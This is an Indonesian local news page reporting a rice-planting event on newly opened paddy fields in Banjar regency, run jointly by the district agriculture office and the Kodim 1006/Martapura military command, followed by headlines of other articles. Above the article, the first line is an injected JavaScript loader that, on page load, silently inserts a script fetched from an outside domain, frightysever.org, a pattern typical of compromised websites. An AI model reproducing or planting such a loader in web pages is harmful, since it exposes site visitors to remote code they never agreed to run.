(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Dinas Pertanian Banjar dan Kodim 1006/ Mtp bersama melakukan cetak sawah baru sebagai upaya mencapai program ketahanan pangan nasional. Rabu (28/11), Komandan Kodim 1006/ Mtp Letkol Arm Andi Martopo SE bersama Kadis TPH Banjar Ir M Fahri, Kelompok Tani Landung Makmur, PPL dan nantri tani serta Babinsa melaksanakan acara gerakan tanam padi serentak Perdana di Desa Tajau Landung Kecamatan Sungai Tabuk.
Tanam perdana cetak sawah ini dijadikan momentum dan evaluasi serta motivasi bagi petugas dan petani untuk lebih bersemangat bertani.
“Kodim Martapura akan terus membantu serta mendampingi, selain itu petani harus bisa mengembangkan lahan pertanian dengan serius dan berfikir maju,†kata Dandim 1006.
Tanam padi ini perdana di Desa Tajau Landung menggunakan sistem jarwo yang disambut baik oleh masyarakat.
“Tanam padi ini untuk mempercepat proses tanam serentak di seluruh wilayah Kabupaten Banjar agar panen bersama bisa dilakukan Maret 2018 mendatang. Dan kita terus berupaya selalu membantu masyarakat dalam meningkatkatkan swasembada pangan, kepada petani mari kembangkan lahan pertanian yang ada, berfikir serius meningkatkan produktifitas selaras dengan perkembangan teknologi,†anjurnya penuh semangat.
Keterlibatan TNI dalam ‎program perluasan sawah atau cetak sawah sesuai dengan tugas pokok TNI yang tertuang dalam UU RI No 34 tahun 2004 tentang Tentara Nasional Indonesia. Tugas TNI tersebut yakni tugas pokok TNI selain perang, diantaranya membantu masyarakat seperti turut mendukung program pemerintah dalam ketahanan pangan.
Adapun perluasan cetak sawah sudah 100% dari 48 hektare yang sudah siap tanam, itu artinya masyarakat petani sudah bisa menanam lahannya, apalagi sudah memasuki musim hujan.
“Saya berharap kepada Kelompok Tani Landung Makmur dan PPL serta manteri terbantu. Kita harus menjadi lumbung padi terbesar di Kalsel,†ungkap Dandim.
Sementara itu Kadis TPH kab Banjar Ir Muhammad Fachri mengatakan, Kabupaten Banjar sudah menjadi lumbung padi yang banyak membantu menyuplai beras ke beberapa daerah bahkan Kaltim dan Kalteng.
“Pencetakan sawah baru ini merupakan implementasi dari kerja sama antara Panglima TNI dengan Menteri Pertanian RI secara nasional dan pada skala daerah antara Pemerintah Kabupaten Banjar,†katanya.
Menurutnya, peningkatan produksi tanaman pangan khususnya beras perlu ditingkatkan setiap tahun, baik dari segi kualitas maupun kuantitas. Mengingat setiap tahun kebutuhan pangan selalu meningkat berjalan dengan pertambahan jumlah penduduk.
“Karena salah satu program prioritas pembangunan nasional yakni pembangunan pertanian,†pungkasnya.(hendera)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.